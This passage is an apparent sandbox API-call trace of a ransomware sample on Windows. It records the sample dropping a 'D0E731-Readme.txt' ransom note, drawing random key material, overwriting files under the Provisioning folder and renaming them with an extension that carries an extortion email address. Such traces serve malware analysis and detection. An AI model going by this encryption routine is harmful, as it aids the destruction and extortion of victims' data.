Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt" [0082.326] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\d0e731-readme.txt")) returned 0xffffffff [0082.326] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0082.328] WriteFile (in: hFile=0x4a4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x26dbfedc, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x26dbfedc*=0x481, lpOverlapped=0x0) returned 1 [0082.329] CloseHandle (hObject=0x4a4) returned 1 [0082.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435388) returned 1 [0082.330] RtlExitUserThread (Status=0x1) Thread: id = 1090 os_tid = 0x10bc [0082.331] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml")) returned 0x20 [0082.331] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0082.331] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0082.332] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x26e3fb4c | out: lpFileSize=0x26e3fb4c*=271) returned 1 [0082.332] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.332] ReadFile (in: hFile=0x4a4, lpBuffer=0x26e3fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x26e3fb20*, lpNumberOfBytesRead=0x26e3fb1c*=0x4, lpOverlapped=0x0) returned 1 [0082.333] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca38 [0082.333] NtQuerySystemTime (in: CurrentTime=0x26e3faf8 | out: CurrentTime=0x26e3faf8*=132121176402247632) returned 0x0 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x6c6eaa86 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xe5cf09d3 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x6709095a [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xf079879d [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xb48a0c1d [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x702e2f [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x91c1435f [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xdcef3e56 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x78ed0ae4 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xb30b8d73 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xce157777 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x97ad97b0 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xe03a46ef [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xafdda430 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x61fbb01 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x3479f22f [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xec3c6bb [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xd528e325 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xd74570e1 [0082.333] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x49305ee0 [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xc145b6da [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x1d3b8aca [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x14f43e1c [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x27569f6 [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x9d9a597c [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xe45a2e12 [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x18d3f310 [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x61e605c5 [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0xc9be792d [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x668f840d [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x4e282c43 [0082.334] RtlRandom (in: Seed=0x26e3fb04 | out: Seed=0x26e3fb04) returned 0x6a2959dd [0082.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0082.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0082.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0082.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.346] ReadFile (in: hFile=0x4a4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x26e3faf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26e3faf8*=0x10f, lpOverlapped=0x0) returned 1 [0082.346] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26e3fac0 | out: lpNewFilePointer=0x0) returned 1 [0082.346] WriteFile (in: hFile=0x4a4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x26e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26e3faf4*=0x10f, lpOverlapped=0x0) returned 1 [0082.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0082.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26e3faf0, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x26e3faf0*=0x20, lpOverlapped=0x0) returned 1 [0082.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x26e3fb1c*=0x8, lpOverlapped=0x0) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x26e3fb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x26e3fb34*, lpNumberOfBytesWritten=0x26e3fb1c*=0x4, lpOverlapped=0x0) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26e3fb1c*=0x4, lpOverlapped=0x0) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26e3fb1c*=0x6c, lpOverlapped=0x0) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x26e3fb1c*=0x20, lpOverlapped=0x0) returned 1 [0082.347] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26e3fb1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26e3fb1c*=0x4, lpOverlapped=0x0) returned 1 [0082.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.348] CloseHandle (hObject=0x4a4) returned 1 [0082.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0082.348] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" [0082.348] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0082.348] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.349] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.349] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0082.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.349] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0082.349] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt" [0082.349] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\d0e731-readme.txt")) returned 0x20 [0082.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475860) returned 1 [0082.349] RtlExitUserThread (Status=0x1) Thread: id = 1091 os_tid = 0x10c0 [0082.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34282a8 [0082.351] wcscpy (in: _Dest=0x34282a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0082.351] wcscat (in: _Dest=0x34282a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0082.351] wcscat (in: _Dest=0x34282a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*" [0082.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab210 [0082.351] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfe98 [0082.351] wcscmp (_String1=".", _String2=".") returned 0 [0082.351] FindNextFileW (in: hFindFile=0x33dfe98, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.351] wcscmp (_String1="..", _String2=".") returned 1 [0082.351] wcscmp (_String1="..", _String2="..") returned 0 [0082.351] FindNextFileW (in: hFindFile=0x33dfe98, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0082.351] wcscmp (_String1="RunTime", _String2=".") returned 1 [0082.351] wcscmp (_String1="RunTime", _String2="..") returned 1 [0082.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34863b0 [0082.352] wcscpy (in: _Dest=0x34863b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0082.352] wcscat (in: _Dest=0x34863b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0082.352] wcscat (in: _Dest=0x34863b0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" [0082.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34863b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0082.945] FindNextFileW (in: hFindFile=0x33dfe98, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.945] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.946] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6df8 [0082.946] wcscpy (in: _Dest=0x33f6df8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0082.946] wcscat (in: _Dest=0x33f6df8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0082.946] wcscat (in: _Dest=0x33f6df8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" [0082.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0082.946] FindNextFileW (in: hFindFile=0x33dfe98, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.946] FindClose (in: hFindFile=0x33dfe98 | out: hFindFile=0x33dfe98) returned 1 [0082.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab210) returned 1 [0082.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34282a8) returned 1 [0082.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427b78) returned 1 [0082.946] RtlExitUserThread (Status=0x0) Thread: id = 1092 os_tid = 0x10c4 [0082.353] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml")) returned 0x20 [0082.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0082.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0082.354] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x26f3fe14 | out: lpFileSize=0x26f3fe14*=1284) returned 1 [0082.354] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x500, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.354] ReadFile (in: hFile=0x528, lpBuffer=0x26f3fde8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x26f3fde8*, lpNumberOfBytesRead=0x26f3fde4*=0x4, lpOverlapped=0x0) returned 1 [0082.356] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb50 [0082.356] NtQuerySystemTime (in: CurrentTime=0x26f3fdc0 | out: CurrentTime=0x26f3fdc0*=132121176402560054) returned 0x0 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x36e71d41 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xd063eb3d [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x7807ca07 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xeb2c6430 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x81211477 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xd451b6c1 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xec214c77 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xecb997ce [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x1f877152 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x2e109974 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x841e0532 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x8c5b8ef [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x3a73726d [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x32b6c1cf [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xa2bd0b32 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x6a9a5522 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x87db6581 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x72818058 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x238a3145 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x2e1e8bfe [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x7b433ce2 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x702f1258 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: 